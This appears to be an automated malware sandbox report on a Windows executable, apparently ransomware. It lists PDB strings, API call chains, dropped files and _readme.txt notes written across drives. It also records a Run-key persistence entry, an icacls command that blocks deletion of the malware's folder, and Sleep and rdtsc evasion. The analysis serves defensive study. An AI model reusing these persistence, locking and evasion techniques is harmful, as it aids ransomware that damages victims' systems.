Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338866477.0000000004057000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330141322.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2343523011.0000000004070000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004061000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2386194021.0000000004050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\es\ source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\1F> source: f6ffg1sZS2.exe, 00000002.00000003.2320448516.000000000A3A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318970830.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A3ED000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318700636.000000000A3B9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320272455.000000000A3EC000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341289234.000000000A3F0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340726216.000000000A3E4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340286253.000000000A3C6000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320535419.000000000A3ED000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341998962.000000000A3F1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A3C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\65\ source: f6ffg1sZS2.exe, 00000002.00000003.2378880019.000000000A4CB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380866739.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: f6ffg1sZS2.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2328928064.000000000A442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330886383.000000000A445000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2331403353.000000000A445000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\rts\\|q source: f6ffg1sZS2.exe, 00000002.00000003.2041030391.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039197748.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040028276.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039153899.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039505070.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039457527.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040205371.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2041179979.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039017429.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\TSg source: f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004021000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\n source: f6ffg1sZS2.exe, 00000002.00000003.2370953145.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\i source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.paasV source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A44C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2320448516.000000000A3A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318970830.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.paasts\* source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2387896261.0000000004140000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000418F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ingState\ source: f6ffg1sZS2.exe, 00000002.00000003.2403545347.000000000416B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\3 source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.00000000040D3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\1 source: f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A450000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\% source: f6ffg1sZS2.exe, 00000002.00000003.2398179007.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\ata source: f6ffg1sZS2.exe, 00000002.00000003.2378535656.000000000A3EB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379273331.000000000A3F8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379699280.000000000A3F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\C source: f6ffg1sZS2.exe, 00000002.00000002.2409328051.0000000004206000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402244378.0000000004206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\y\4}T source: f6ffg1sZS2.exe, 00000002.00000003.2380219374.0000000004139000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2371532126.00000000040F1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.0000000004138000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2370953145.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373289621.0000000004131000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\%d source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293085778.000000000A529000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292812422.000000000A507000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004065000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330141322.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\h- source: f6ffg1sZS2.exe, 00000002.00000003.2342936913.000000000410E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\we\ source: f6ffg1sZS2.exe, 00000002.00000003.2403775246.0000000003CDE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\G source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\H source: f6ffg1sZS2.exe, 00000002.00000003.2341109381.000000000A501000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A4A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361098870.000000000A50F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: f6ffg1sZS2.exe, 00000002.00000003.2319451140.000000000A51C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\H source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\he\mQ+ source: f6ffg1sZS2.exe, 00000002.00000003.2399417330.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2390637917.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.paas source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\s\ source: f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2328928064.000000000A442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320828584.000000000A438000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330886383.000000000A445000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2331403353.000000000A445000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\vq0 source: f6ffg1sZS2.exe, 00000002.00000003.2373254393.0000000003CBF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2041030391.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039197748.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040028276.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039153899.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039505070.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039457527.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040205371.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2041179979.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039017429.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp

Source: f6ffg1sZS2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: f6ffg1sZS2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: f6ffg1sZS2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: f6ffg1sZS2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: f6ffg1sZS2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00792220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

0_2_00792220

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007A8565 push ecx; ret	0_2_007A8578
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B95C2 push edi; ret	0_2_007B95C8
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B9598 push esi; ret	0_2_007B959C
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B9A87 push edi; ret	0_2_007B9A8B
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 0_2_007B9BAC push esi; ret	0_2_007B9BB0
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007A8565 push ecx; ret	2_2_007A8578
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B95C2 push edi; ret	2_2_007B95C8
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B9598 push esi; ret	2_2_007B959C
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B9A87 push edi; ret	2_2_007B9A8B
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: 2_2_007B9BAC push esi; ret	2_2_007B9BB0
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 3_2_00F88565 push ecx; ret	3_2_00F88578
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: 4_2_00F88565 push ecx; ret	4_2_00F88578

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\Local Settings\Temp\wctF86A.tmp.paas (copy)	Jump to dropped file

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00801920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

0_2_00801920

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Stalling execution: Execution stalls by calling Sleep			graph_2-42989
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Stalling execution: Execution stalls by calling Sleep			graph_3-41516

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 0_2_00781178 rdtsc

0_2_00781178

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe

Code function: 2_2_00801920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

2_2_00801920

Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,	0_2_0078E670
Source: C:\Users\user\Desktop\f6ffg1sZS2.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,	2_2_0078E670
Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,	3_2_00F6E670
